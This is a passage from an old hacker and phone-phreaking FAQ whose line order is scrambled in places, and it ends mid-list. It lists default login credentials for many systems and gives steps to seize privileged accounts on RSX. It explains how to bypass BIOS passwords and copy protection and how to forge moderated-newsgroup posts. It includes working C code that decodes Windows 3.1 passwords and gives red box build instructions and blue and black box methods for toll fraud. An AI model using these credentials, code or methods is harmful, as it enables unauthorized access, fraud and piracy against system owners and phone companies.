sysadmin
tech
tech
poll
tech
RSX
~~~
SYSTEM/SYSTEM
(Username SYSTEM, Password SYSTEM)
1,1/system
(Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
Default accounts for Micro/RSX:
MICRO/RSX
Alternately you can hit <CTRL-Z> when the boot sequence asks you for the
date and create an account using:
RUN ACNT
or RUN $ACNT
(Numbers below 10 {oct} are privileged)
Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!
If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.
type " run $acnt" and change the password of any account with a group
number of 7 or less.
You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.
If none of the above work, use the halt switch to halt the system,
just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system. This will hopefully result in indirect blowing
up...
And hopefully the system has not been fully secured.
SGI Irix
~~~~~~~~
4DGifts
<no password>
guest
<no password>
demos
<no password>
lp
<no password>
nuucp
<no password>
tour
<no password>
tutor
<no password>
System 75
~~~~~~~~~
bcim
bcimpw
bciim
bciimpw
bcms
bcmspw, bcms
bcnas
bcnspw
blue
bluepw
browse
looker, browsepw
craft
crftpw, craftpw, crack
cust
custpw
enquiry
enquirypw
field
support
inads
indspw, inadspw, inads
init
initpw
kraft
kraftpw
locate
locatepw
maint
maintpw, rwmaint
nms
nmspw
rcust
rcustpw
support
supportpw
tech
field
Taco Bell
~~~~~~~~~
rgm
rollout
tacobell
<null>
Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816
VMS
~~~
field
service
systest
utep
XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831
24. What port is XXX on?
The file /etc/services on most Unix machines lists the port
assignments for that machine.
For a complete list of port
assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"
25.
What is a trojan/worm/virus/logic bomb?
This FAQ answer was written by Theora:
Trojan:
Remember the Trojan Horse? Bad guys hid inside it until they could
get into the city to do their evil deed.
A trojan computer program is
similar. It is a program which does an unauthorized function, hidden
inside an authorized program.
It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does.
If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning
programs don't detect any trojans.
No virus scanners detect all
trojans.
Virus:
A virus is an independent program which reproduces itself.
It may
attach to other programs, it may create copies of itself (as in
companion viruses). It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space. Some virus scanners detect some viruses. No
virus scanners detect all viruses.
No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".
Worm:
Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems.
They are self
contained and use the networks to spread, in much the same way viruses
use files to spread. Some people say the solution to viruses and
worms is to just not have any files or networks. They are probably
correct. We would include computers.
Logic Bomb:
Code which will trigger a particular form of 'attack' when a
designated condition is met. For instance, a logic bomb could delete
all files on Dec. 5th.
Unlike a virus, a logic bomb does not make
copies of itself.
26.
How can I protect myself from viruses and such?
This FAQ answer was written by Theora:
The most common viruses are boot sector infectors. You can help protect
yourself against those by write protecting all disks which you do not
need write access to. Definitely keep a set of write protected floppy
system disks. If you get a virus, it will make things much simpler.
And, they are good for coasters. Only kidding.
Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus.
AVP is also a good program. Using more than
one scanner could be helpful.
You may get those one or two viruses that
the other guy happened to miss this month.
New viruses come out at the rate of about 8 per day now.
NO scanner can
keep up with them all, but the four mentioned here do the best job of
keeping current.
Any _good_ scanner will detect the majority of common
viruses. No virus scanner will detect all viruses.
Right now there are about 5600 known viruses.
New ones are written all
the time. If you use a scanner for virus detection, you need to make
sure you get frequent updates. If you rely on behavior blockers, you
should know that such programs can be bypassed easily by a technique
known as tunnelling.
You may want to use integrity checkers as well as scanners. Keep in
mind that while these can supply added protection, they are not
foolproof.
You may want to use a particular kind of scanner, called resident
scanners. Those are programs which stay resident in the computer memory
and constantly monitor program execution (and sometimes even access to
the files containing programs). If you try to execute a program, the
resident scanner receives control and scans it first for known viruses.
Only if no such viruses are found, the program is allowed to execute.
Most virus scanners will not protect you against many kinds of trojans,
any sort of logic bombs, or worms.
Theoretically, they _could_ protect
you against logic bombs and/or worms, by addition of scanning strings;
however, this is rarely done.
The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorized by
you. Make frequent backups of all important files.
system files write protected.
Keep your DOS
Write protect all disks that you do not
need to write to. If you do get a virus, don't panic. Call the support
department of the company who supplies your anti-virus product if you
aren't sure of what you are doing.
If the company you got your
anti-virus software from does not have a good technical support
department, change companies.
The best way to make sure viruses are not spread is not to spread them.
Some people do this intentionally.
We discourage this. Viruses aren't
cool.
27.
Where can I get more information about viruses?
This FAQ answer was written by Theora:
Assembly language programming books illustrate the (boring) aspect of
replication and have for a long time. The most exciting/interesting
thing about viruses is all the controversy around them. Free speech,
legality, and cute payloads are a lot more interesting than "find first,
find next" calls. You can get information about the technical aspects
of viruses, as well as help if you should happen to get a virus, from
the virus-l FAQ, posted on comp. virus every so often. You can also pick
up on the various debates there. There are alt.virus type newsgroups,
but the level of technical expertise is minimal, and so far at least
there has not been a lot of real "help" for people who want to get -ridof a virus.
There are a lot of virus experts. To become one, just call yourself
one. Only Kidding. Understanding viruses involves understanding
programming, operating systems, and their interaction. Understanding
all of the 'Cult of Virus' business requires a lot of discernment. There
are a number of good papers available on viruses, and the Cult of Virus;
you can get information on them from just about anyone listed in the
virus-l FAQ.
The FTP site ftp.informatik.uni-hamburg.de is a pretty
reliable site for programs and text.
28. What is Cryptoxxxxxxx?
This FAQ answer is excerpted from: Computer Security Basics
by Deborah Russell
and G.T. Gengemi Sr.
A message is called either plaintext or cleartext. The process of
disguising a message in such a way as to hide its substance is called
encryption. An encrypted message is called ciphertext. The process
of turning ciphertext back into plaintext is called decryption.
The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers.
Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise.
The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.
29. What is PGP?
This FAQ answer is excerpted from: PGP(tm) User's Guide
Volume I: Essential Topics
by Philip Zimmermann
PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys. PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.
Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers.
PGP allows people to exchange files or
messages with privacy, authentication, and convenience. Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software. No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use.
This is because PGP is based on a powerful
new technology called "public key" cryptography.
PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations.
PGP is public key cryptography for the
masses.
30. What is Tempest?
Tempest stands for Transient Electromagnetic Pulse Surveillance
Technology.
Computers and other electronic equipment release interference to their
surrounding environment. You may observe this by placing two video
monitors close together. The pictures will behave erratically until you
space them apart.
What is important for an observer is the emission of digital pulses (1s
and 0s) as these are used in computers. The channel for this radiation
is in two arrangements, radiated emissions and conducted emissions.
Radiated emissions are assembled when components in electrical devices
form to act as antennas. Conducted emissions are formed when radiation
is conducted along cables and wires.
Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful. Suppose we wanted to see what project a
target was working on. We could sit in a van outside her office and use
sensitive electronic equipment to attempt to pick up and decipher the
radiated emissions from her video monitor. These emissions normally
exist at around 55-245 Mhz and can be picked up as far as one kilometer
away.
A monitoring device can distinguish between different sources emitting
radiation because the sources emanating the radiation are made up of
dissimilar elements and so this coupled with other factors varies the
emitted frequency.
For example different electronic components in VDUs,
different manufacturing processes involved in reproducing the VDUs,
different line syncs, etc... By synchronizing our raster with the
targets raster we can passively draw the observed screen in real-time.
This technology can be acquired by anyone, not just government agencies.
The target could shield the emissions from her equipment or use
equipment that does not generate strong emissions. However, Tempest
equipment is not legal for civilian use in the United States.
Tempest is the US Government program for evaluation and endorsement of
electronic equipment that is safe from eavesdropping. Tempest
certification refers to the equipment having passed a testing phase and
agreeing to emanations rules specified in the government document NACSIM
5100A (Classified). This document sets forth the emanation levels that
the US Government believes equipment can give off without compromising
the information it is processing.
31. What is an anonymous remailer?
This FAQ answer was written by Raph Levien:
An anonymous remailer is a system on the Internet that allows you to
send e-mail or post messages to Usenet anonymously.
There are two sorts of remailers in widespread use.
The first is the
anon.penet.fi style, the second is the cypherpunk style.
The remailer
at anon.penet.fi is immensely popular, with over 160,000 users over its
lifetime, and probably tens of thousands of messages per day. Its main
advantage is that it's so easy to use.
The cypherpunks mailers, which
provide much better security, are becoming more popular, however, as
there is more awareness of them.
The user of the anon.penet.fi system first needs to get an anonymous id.
This is done either by sending mail to somebody who already has one (for
example, by replying to a post on Usenet), or sending mail to
ping@anon.penet.fi. In either case, penet will mail back the new anon
id, which looks like an123456@anon.penet.fi. If an123456 then sends
mail to another user of the system, then this is what happens:
1. The mail is transported to anon.penet.fi, which resides somewhere in
the vicinity of Espoo, Finland.
2. These steps are carried out by software running on anon.penet.fi.
Penet first looks up the email address of the sender in its
database, then replaces it with the numeric code. All other
information about the sender is removed.
3. Then, penet looks up the number of the recipient in the same
database, and replaces it with the actual email address.
4. Finally, it sends the mail to the actual email address of the
recipient.
There are variations on this scheme, such as posting to Usenet (in which
step 3 is eliminated), but that's the basic idea.
Where anon.penet.fi uses a secret database to match anon id's to actual
email addresses, the cypherpunks remailers use cryptography to hide the
actual identities.
Let's say I want to send email to a real email
address, or post it to Usenet, but keep my identity completely hidden.
To send it through one remailer, this is what happens.
1. I encrypt the message and the recipient's address, using the public
key of the remailer of my choice.
2. I send the email to the remailer.
3. When the remailer gets the mail, it decrypts it using its private
key, revealing as plaintext the message and the recipient's address.
4. All information about the sender is removed.
5. Finally, it sends it to the recipient's email address.
If one trusts the remailer operator, this is good enough. However, the
whole point of the cypherpunks remailers is that you don't _have_ to
trust any one individual or system. So, people who want real security
use a chain of remailers.
If any one remailer on the "chain" is honest,
then the privacy of the message is assured.
To use a chain of remailers, I first have to prepare the message, which
is nestled within multiple layers of encryption, like a Russian
matryoshka doll.
Preparing such a message is tedious and error prone,
so many people use an automated tool such as my premail package.
Anyway, after preparing the message, it is sent to the first remailer in
the chain, which corresponds to the outermost layer of encryption. Each
remailer strips off one layer of encryption and sends the message to the
next, until it reaches the final remailer. At this point, only the
innermost layer of encryption remains.
This layer is stripped off,
revealing the plaintext message and recipient for the first time. At
this point, the message is sent to its actual recipient.
Remailers exist in many locations.
A typical message might go through
Canada, Holland, Berkeley, and Finland before ending up at its final
location.
Aside from the difficulty of preparing all the encrypted messages,
another drawback of the cypherpunk remailers is that they don't easily
allow responses to anonymous mail.
All information about the sender is
stripped away, including any kind of return address. However the new
alias servers promise to change that. To use an alias server, one
creates a new email address (mine is raph@alpha.c2.org).
Mail sent to
this new address will be untraceably forwarded to one's real address.
To set this up, one first encrypts one's own email address with multiple
layers of encryption. Then, using an encrypted channel, one sends the
encrypted address to the alias server, along with the nickname that one
would like. The alias server registers the encrypted address in the
database. The alias server then handles reply mail in much the same way
as anon.penet.fi, except that the mail is forwarded to the chain of
anonymous remailers.
For maximum security, the user can arrange it so that, at each link in
the chain, the remailer adds another layer of encryption to the message
while removing one layer from the email address. When the user finally
gets the email, it is encrypted in multiple layers.
The matryoshka has
to be opened one doll at a time until the plaintext message hidden
inside is revealed.
One other point is that the remailers must be reliable in order for all
this to work. This is especially true when a chain of remailers is used
-- if any one of the remailers is not working, then the message will be
dropped. This is why I maintain a list of reliable remailers. By
choosing reliable remailers to start with, there is a good chance the
message will finally get there.
32. What are the addresses of some anonymous remailers?
The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus. To obtain an anonymous ID, mail
ping@anon.penet.fi.
The server at anon.penet.fi does it's best to remove any headers or
other information describing its true origin.
You should make an effort
and try to omit information detailing your identity within such messages
as quite often signatures not starting with "--" are including within
your e-mail, this of course is not what you want.
You can send messages
to:
anXXX@anon.penet.fi
Here you are addressing another anonymous user and your E-Mail message
will appear to have originated from anon.penet.fi.
alt.security@anon.penet.fi
Here you are posting an anonymous message to a whole Usenet group and in
this case to alt.security which will be posted at the local site (in
this case Finland).
ping@anon.penet.fi
If you send a message to this address you will be allocated an identity
(assuming you don't already have one).
You can also confirm your
identity here as well.
You can also set yourself a password, this password helps to
authenticate any messages that you may send. This password is included
in your outgoing messages, to set a password send E-Mail to
password@anon.penet.fi with your password in the body of your text e.g.:
To: password@anon.penet.fi
Subject:
TN0_rUlEz
For more information on this anonymous server send mail to:
help@anon.penet.fi
Anonymous Usenet posting is frowned upon by other users of Usenet groups
claiming their opinions are worthless.
This is because they believe
anonymity is used to shield ones self from attacks from opponents, while
on the other hand it can be used to protect ones self from social
prejudice (or people reporting ones opinions to ones superiors). Also
if you are thinking this is a useful tool to use to hid against the
authorities then think again, as there was a famous case where a Judge
ordered the administrator of the server to reveal the identity of a
poster.
To see a comprehensive list on anonymous remailers finger
remailer-list@kiwi.cs.berkeley.edu or point your web browser to
http://www.cs.berkeley.edu/~raph/remailer-list.html.
33. How do I defeat Copy Protection?
There are two common methods of defeating copy protection.
is to use a program that removes copy protection.
The first
Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software. The second method involves patching the copy
protected program.
For popular software, you may be able to locate a
ready made patch. You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit.
If you cannot, you must
patch the software yourself.
Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It
also requires some knowledge of assembly language. Load the protected
program under the debugger and watch for it to check the protection
mechanism. When it does, change that portion of the code.
The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally).
Or the code may simply be replaced with
NOP (No Operation) instructions.
34. What is 127.0.0.1?
127.0.0.1 is a loopback network connection. If you telnet, ftp, etc...
to it you are connected to your own machine.
35. How do I post to a moderated newsgroup?
Usenet messages consist of message headers and message bodies.
The
message header tells the news software how to process the message.
Headers can be divided into two types, required and optional. Required
headers are ones like "From" and "Newsgroups." Without the required
headers, your message will not be posted properly.
One of the optional headers is the "Approved" header. To post to a
moderated newsgroup, simply add an Approved header line to your
message header. The header line should contain the newsgroup
moderators e-mail address. To see the correct format for your target
newsgroup, save a message from the newsgroup and then look at it using
any text editor.
A "Approved" header line should look like this:
Approved: will@gnu.ai.mit.edu
There cannot not be a blank line in the message header. A blank line
will cause any portion of the header after the blank line to be
interpreted as part of the message body.
For more information, read RFC 1036: Standard for Interchange of
USENET messages.
36. How do I post to Usenet via e-mail?
Through an e-mail->Usenet gateway.
<newsgroup>@<servername>.
Send an a e-mail messages to
For example, to post to alt.2600 through
nic.funet.fi, address your mail to alt.2600@nic.funet.fi.
Here are a few e-mail->Usenet gateways:
group.name@news.demon.co.uk
group.name@charm.magnus.acs.ohio-state.edu
group.name@undergrad.math.uwaterloo.ca
group.name@nic.funet.fi
group.name.usenet@decwrl.dec.com
37. How do I defeat a BIOS password?
This depends on what BIOS the machine has. Common BIOS's include AMI,
Award, IBM and Phoenix.
Numerous other BIOS's do exist, but these are
the most common.
Some BIOS's allow you to require a password be entered before the system
will boot. Some BIOS's allow you to require a password to be entered
before the BIOS setup may be accessed.
Every BIOS must store this password information somewhere.
If you are
able to access the machine after it has been booted successfully, you
may be able to view the password. You must know the memory address
where the password is stored, and the format in which the password is
stored.
Or, you must have a program that knows these things.
The most common BIOS password attack programs are for Ami BIOS. Some
password attack programs will return the AMI BIOS password in plain
text, some will return it in ASCII codes, some will return it in scan
codes. This appears to be dependent not just on the password attacker,
but also on the version of Ami BIOS.
To obtain Ami BIOS password attackers, ftp to oak.oakland.edu
/simtel/msdos/sysutil/.
If you cannot access the machine after if has been powered up, it is
still possible to get past the password.
The password is stored in CMOS
memory that is maintained while the PC is powered off by a small
battery, which is attached to the motherboard. If you remove this
battery, all CMOS information will be lost. You will need to re-enter
the correct CMOS setup information to use the machine. The machines
owner or user will most likely be alarmed when it is discovered that the
BIOS password has been deleted.
On some motherboards, the battery is soldered to the motherboard, making
it difficult to remove.
alternative.
If this is the case, you have another
Somewhere on the motherboard you should find a jumper that
will clear the BIOS password.
If you have the motherboard
documentation, you will know where that jumper is. If not, the jumper
may be labeled on the motherboard.
If you are not fortunate enough for
either of these to be the case, you may be able to guess which jumper is
the correct jumper. This jumper is usually standing alone near the
battery.
38. What is the password for <encrypted file>?
This FAQ answer was written by crypt <crypt@nyongwa.montreal.qc.ca>
Magazine
Password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
VLAD Magazine Issue #1
vlad
VLAD Magazine Issue #2
vx
VLAD Magazine Issue #3
virus
NuKE InfoJournal Issue #2
514738
NuKE InfoJournal Issue #3
power
NuKE InfoJournal Issue #4
party
Program
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~
Sphere Hacker 1.40 & 1.41
theozone
Virus Creation 2000
high level
Virus Construction Lab
Chiba City
Ejecutor Virus Creator
EJECUTOR
Biological Warfare v0.90
lo tek
Biological Warfare v1.00
freak
39. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?
This FAQ answer is an excerpt from SNIPPETS by Bob Stout.
Don't hold your breath. Think about it... For a decompiler to work
properly, either 1) every compiler would have to generate substantially
identical code, even with full optimization turned on, or 2) it would
have to recognize the individual output of every compiler's code
generator.
If the first case were to be correct, there would be no more need for
compiler benchmarks since every one would work the same.
For the second
case to be true would require in immensely complex program that had to
change with every new compiler release.
OK, so what about specific decompilers for specific compilers - say a
decompiler designed to only work on code generated by, say, BC++ 4.5?
This gets us right back to the optimization issue. Code written for
clarity and understandability is often inefficient.
Code written for
maximum performance (speed or size) is often cryptic (at best!) Add to
this the fact that all modern compilers have a multitude of optimization
switches to control which optimization techniques to enable and which to
avoid. The bottom line is that, for a reasonably large, complex source
module, you can get the compiler to produce a number of different object
modules simply by changing your optimization switches, so your
decompiler will also have to be a deoptimizer which can automagically
recognize which optimization strategies were enabled at compile time.
OK, let's simplify further and specify that you only want to support one
specific compiler and you want to decompile to the most logical source
code without trying to interpret the optimization. What then?
A good
optimizer can and will substantially rewrite the internals of your code,
so what you get out of your decompiler will be, not only cryptic, but in
many cases, riddled with goto statements and other no-no's of good
coding practice.
At this point, you have decompiled source, but what
good is it?
Also note carefully my reference to source modules.
One characteristic
of C is that it becomes largely unreadable unless broken into easily
maintainable source modules (.C files). How will the decompiler deal
with that? It could either try to decompile the whole program into some
mammoth main() function, losing all modularity, or it could try to place
each called function into its own file. The first way would generate
unusable chaos and the second would run into problems where the original
source hade files with multiple functions using static data and/or one
or more functions calling one or more static functions. A decompiler
could make static data and/or functions global but only at the expense
or readability (which would already be unacceptable).
Finally, remember that commercial applications often code the most
difficult or time-critical functions in assembler which could prove
almost impossible to decompile into a C equivalent.
Like I said, don't hold your breath. As technology improves to where
decompilers may become more feasible, optimizers and languages (C++, for
example, would be a significantly tougher language to decompile than C)
also conspire to make them less likely.
For years Unix applications have been distributed in shrouded source
form (machine but not human readable -- all comments and whitespace
removed, variables names all in the form OOIIOIOI, etc.), which has been
a quite adequate means of protecting the author's rights. It's very
unlikely that decompiler output would even be as readable as shrouded
source.
40. How does the MS-Windows password encryption work?
This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com>
The password option in MS Win 3.1 is easily defeated, but there are
those of us who really want to know how MS does this. There are many
reasons why knowing the actual password can be useful. Suppose a
sysamin used the same password in the windows screen saver as his root
account on a unix box.
Anyway, I will attempt to relay what I have learned about this algorithm.
I will describe the process starting after you've entered the password
and hit the [OK] button.
I will make the assumtion that everyone (at least those interested) know
what the XOR operation is.
First, the length of the password is saved. We'll call this 'len'.
We
will be moving characters from the entered string into another string as
they are encrypted. We'll call the originally entered password
'plaintext' and the encrypted string(strings--there are two passes)
'hash1' and 'hash2.' The position in the plaintext is important during
the process so we'll refer to this as 'pos.' After each step of the
hashing process, the character is checked against a set of characters
that windows considers 'special.' These characters are '[ ] =' and any
character below ASCII 33 or above ASCII 126. I'll refer to this
checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8
character password is considered chars 0 to 7).
Now, the first character of 'plaintext' is xor'd with 'len' then fed to
'is_ok'. if the character is not valid, it is replaced by the original
character of 'plaintext' before going to the next operation.
The next
operation is to xor with 'pos' (this is useless for the first operation
since 'len' is 0 and anything xor'd with zero is itself) then fed to
'is_ok' and replaced with the original if not valid. The final
operation (per character) is to xor it with the previous character of
'plaintext'. Since there is no previous character, the fixed value, 42,
is used on the first character of 'plaintext'. This is then fed to
'is_ok' and if OK, it is stored into the first position of 'hash1' This
process proceeds until all characters of plaintext are exhausted.
The second pass is very similar, only now, the starting point is the
last character in hash1 and the results are placed into hash2 from the
end to the beginning. Also, instead of using the previous character in
the final xoring, the character following the current character is used.
Since there is no character following the last character in hash1, the
value, 42 is again used for the last character.
'hash2' is the final string and this is what windows saves in the file
CONTROL.INI.
To 'decrypt' the password, the above procedure is just reversed.
Now, what you've all been waiting for.
Here is some C code that will do
the dirty work for you:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int xor1(int i,int j)
{
int x;
x=i^j;
return (x>126||x<33||x==91||x==93||x==61)?i:x;
}
void main()
{
FILE *f;
int i,l;
char s[80],s1[80];
printf("Please enter the path to your Windows directory\n");
gets(s1);
sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");
if((f=fopen(s,"rt"))==NULL){
printf("File Error : %s\n",sys_errlist[errno]);
exit(0);
}
while(strnicmp(fgets(s1,70,f),"password",8)!=0&&!feof(f));
fclose(f);
strtok(s1,"=\n");
strcpy(s,strtok(NULL,"\n"));
i=strlen(s)-1;
for(l=i;l>-1;l--)
s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);
for(l=0;l<i+1;l++)
s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);
printf("The Password is: %s\n",s);
}
Section B: Telephony
~~~~~~~~~~~~~~~~~~~~
01. What is a Red Box?
When a coin is inserted into a payphone, the payphone emits a set of
tones to ACTS (Automated Coin Toll System). Red boxes work by fooling
ACTS into believing you have actually put money into the phone. The
red box simply plays the ACTS tones into the telephone microphone.
ACTS hears those tones, and allows you to place your call.
The actual
tones are:
Nickel Signal
1700+2200hz 0.060s on
Dime Signal
1700+2200hz 0.060s on, 0.060s off, twice repeating
Quarter Signal
1700+2200hz 33ms on, 33ms off, 5 times repeating
Canada uses a variant of ACTSD called N-ACTS.
tones than ACTS.
N-ACTS uses different
In Canada, the tones to use are:
Nickel Signal
2200hz
0.060s on
Dime Signal
2200hz
0.060s on, 0.060s off, twice repeating
Quarter Signal
2200hz
33ms on, 33ms off, 5 times repeating
02. How do I build a Red Box?
Red boxes are commonly manufactured from modified Radio Shack tone
dialers, Hallmark greeting cards, or made from scratch from readily
available electronic components.
To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open
the dialer and replace the crystal with a new one. The purpose of the
new crystal is to cause the * button on your tone dialer to create a
1700Mhz and 2200Mhz tone instead of the original 941Mhz and 1209Mhz
tones. The exact value of the replacement crystal should be 6.466806 to
create a perfect 1700Mhz tone and 6.513698 to create a perfect 2200mhz
tone.
A crystal close to those values will create a tone that easily
falls within the loose tolerances of ACTS. The most popular choice is
the 6.5536Mhz crystal, because it is the easiest to procure.
The old
crystal is the large shiny metal component labeled "3.579545Mhz." When
you are finished replacing the crystal, program the P1 button with five
*'s. That will simulate a quarter tone each time you press P1.
03. Where can I get a 6.5536Mhz crystal?
Your best bet is a local electronics store. Radio Shack sells them, but
they are overpriced and the store must order them in. This takes
approximately two weeks. In addition, many Radio Shack employees do not
know that this can be done.
Or, you could order the crystal mail order. This introduces Shipping
and Handling charges, which are usually much greater than the price of
the crystal.
cost.
It's best to get several people together to share the S&H
Or, buy five or six yourself and sell them later.
Some of the
places you can order crystals are:
Digi-Key
701 Brooks Avenue South
P.O. Box 677
Thief River Falls, MN 56701-0677
(800)344-4539
Part Number:X415-ND
Part Number:X018-ND
/* Note: 6.500Mhz and only .197 x .433 x .149! */
JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800)538-5000
Part Number: 6.5536MHZ
Tandy Express Order Marketing
401 NE 38th Street
Fort Worth, TX 76106
(800)241-8742
Part Number: 10068625
Alltronics
2300 Zanker Road
San Jose CA 95131
(408)943-9774 Voice
(408)943-9776 Fax
(408)943-0622 BBS
Part Number: 92A057
Mouser
(800)346-6873
Part Number: 332-1066
Blue Saguaro
P.O. Box 37061
Tucson, AZ 85740
Part Number: 1458b
Unicorn Electronics
10000 Canoga Ave, Unit c-2
Chatsworth, CA 91311
Phone: 1-800-824-3432
Part Number: CR6.5
04. Which payphones will a Red Box work on?
Red Boxes will work on telco owned payphones, but not on COCOT's
(Customer Owned Coin Operated Telephones).
Red boxes work by fooling ACTS (Automated Coin Toll System) into
believing you have put money into the pay phone. ACTS is the
telephone company software responsible for saying "Please deposit XX
cents" and listening for the coins being deposited.
COCOT's do not use ACTS. On a COCOT, the pay phone itself is
responsible for determining what coins have been inserted.
05. How do I make local calls with a Red Box?
Payphones do not use ACTS for local calls. To use your red box for
local calls, you have to fool ACTS into getting involved in the call.
One way to do this, in some areas, is by dialing 10288-xxx-xxxx. This
makes your call a long distance call, and brings ACTS into the
picture.
In other areas, you can call Directory Assistance and ask for the
number of the person you are trying to reach.
The operator will give
you the number and then you will hear a message similar to "Your call
can be completed automatically for an additional 35 cents." When this
happens, you can then use ACTS tones.
06. What is a Blue Box?
Blue boxes use a 2600hz tone to size control of telephone switches
that use in-band signalling. The caller may then access special
switch functions, with the usual purpose of making free long distance
phone calls, using the tones provided by the Blue Box.
07. Do Blue Boxes still work?
This FAQ answer is excerpted from a message posted to Usenet by
Marauder of the Legion of Doom:
Somewhere along the line I have seen reference to something
similar to "Because of ESS Blue boxing is impossible".
incorrect.
This is
When I lived in Connecticut I was able to blue box
under Step by Step, #1AESS, and DMS-100. The reason is simple,
even though I was initiating my call to an 800 number from a
different exchange (Class 5 office, aka Central Office) in each
case, when the 800 call was routed to the toll network it would
route through the New Haven #5 Crossbar toll Tandem office.
It
just so happens that the trunks between the class 5 (CO's) and
the class 4 (toll office, in this case New Haven #5 Xbar),
utilized in-band (MF) signalling, so regardless of what I
dialed, as long as it was an Inter-Lata call, my call would
route through this particular set of trunks, and I could Blue
box until I was blue in the face. The originating Central
Offices switch (SXS/ESS/Etc..) had little effect on my ability
to box at all. While the advent of ESS (and other electronic
switches) has made the blue boxers task a bit more difficult,
ESS is not the reason most of you are unable to blue box. The
main culprit is the "forward audio mute" feature of CCIS (out of
band signalling).
Unfortunately for the boxer 99% of the Toll
Completion centers communicate using CCIS links, This spells
disaster for the blue boxer since most of you must dial out of
your local area to find trunks that utilize MF signalling, you
inevitably cross a portion of the network that is CCIS equipped,
you find an exchange that you blow 2600hz at, you are rewarded
with a nice "winkstart", and no matter what MF tones you send at
it, you meet with a re-order. This is because as soon as you
seized the trunk (your application of 2600hz), your Originating
Toll Office sees this as a loss of supervision at the
destination, and Mutes any further audio from being passed to
the destination (ie: your waiting trunk!). You meet with a
reorder because the waiting trunk never "hears" any of the MF
tones you are sending, and it times out. So for the clever
amongst you, you must somehow get yourself to the 1000's of
trunks out there that still utilize MF signalling but
bypass/disable the CCIS audio mute problem.
(Hint: Take a close
look at WATS extenders).
08. What is a Black Box?
A Black Box is a resistor (and often capacitor in parallel) placed in
series across your phone line to cause the phone company equipment to be
unable to detect that you have answered your telephone. People who call
you will then not be billed for the telephone call.
Black boxes do not
work under ESS.
09. What do all the colored boxes do?
Acrylic
Steal Three-Way-Calling, Call Waiting and programmable
Call Forwarding on old 4-wire phone systems
Aqua
Drain the voltage of the FBI lock-in-trace/trap-trace
Beige
Lineman's hand set
Black
Allows the calling party to not be billed for the call
placed
Blast
Phone microphone amplifier
Blotto
Supposedly shorts every phone out in the immediate area
Blue
Emulate a true operator by seizing a trunk with a 2600hz
tone
Brown
Create a party line from 2 phone lines
Bud
Tap into your neighbors phone line
Chartreuse
Use the electricity from your phone line
Cheese
Connect two phones to create a diverter
Chrome
Manipulate Traffic Signals by Remote Control
Clear
A telephone pickup coil and a small amp used to make free
calls on Fortress Phones
Color
Line activated telephone recorder
Copper
Cause crosstalk interference on an extender
Crimson
Hold button
Dark
Re-route outgoing or incoming calls to another phone
Dayglo
Connect to your neighbors phone line
Diverter
Re-route outgoing or incoming calls to another phone
DLOC
Create a party line from 2 phone lines
Gold
Dialout router
Green
Emulate the Coin Collect, Coin Return, and Ringback tones
Infinity
Remotely activated phone tap
Jack
Touch-Tone key pad
Light
In-use light
Lunch
AM transmitter
Magenta
Connect a remote phone line to another remote phone line
Mauve
Phone tap without cutting into a line
Neon
External microphone
Noise
Create line noise
Olive
External ringer
Party
Create a party line from 2 phone lines
Pearl
Tone generator
Pink
Create a party line from 2 phone lines
Purple
Telephone hold button
Rainbow
Kill a trace by putting 120v into the phone line (joke)
Razz
Tap into your neighbors phone
Red
